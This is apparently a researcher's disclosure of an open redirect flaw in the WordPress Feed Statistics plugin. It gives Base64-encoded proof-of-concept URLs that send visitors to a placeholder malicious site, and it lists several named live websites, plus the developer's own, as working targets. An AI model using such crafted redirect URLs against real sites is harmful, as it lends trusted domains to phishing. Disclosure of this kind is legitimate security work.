Open Redirect in WordPress Feed Statistics {Affected All Versions}

How it was found

Hi, Feed Statistics Plugin is vulnerable to Open Redirect and effecting large amount of Websites. Which is the reason it should be patched swiftly. Detail description is given below:

Tested on: Wordpress 3.9.1

Vulnerable Plugin: Feed Statistics

Plugin Link: http://wordpress.org/plugins/wordpress-feed-statistics/

Tested on: Firefox 31.0 / Debian, Linux

P.O.C:

http://www.example.com/?feed-stats-url=any+website+in+Base64+Encoding+here Like this: http://www.example.com/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

Result Redirect to: http://www.sooevilsite.com/

P.O.C P.O.C:

http://hesp-news.org/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

https://www.dropboxatwork.com/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

https://starwars.gamona.de/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

https://joyinthisjourney.com/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

http://www.apaixonadosporseries.com.br/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

https://graziasl.com/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

Developer site :) http://www.chrisfinke.com/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v

            Feel free to contact me anytime if there is more info required.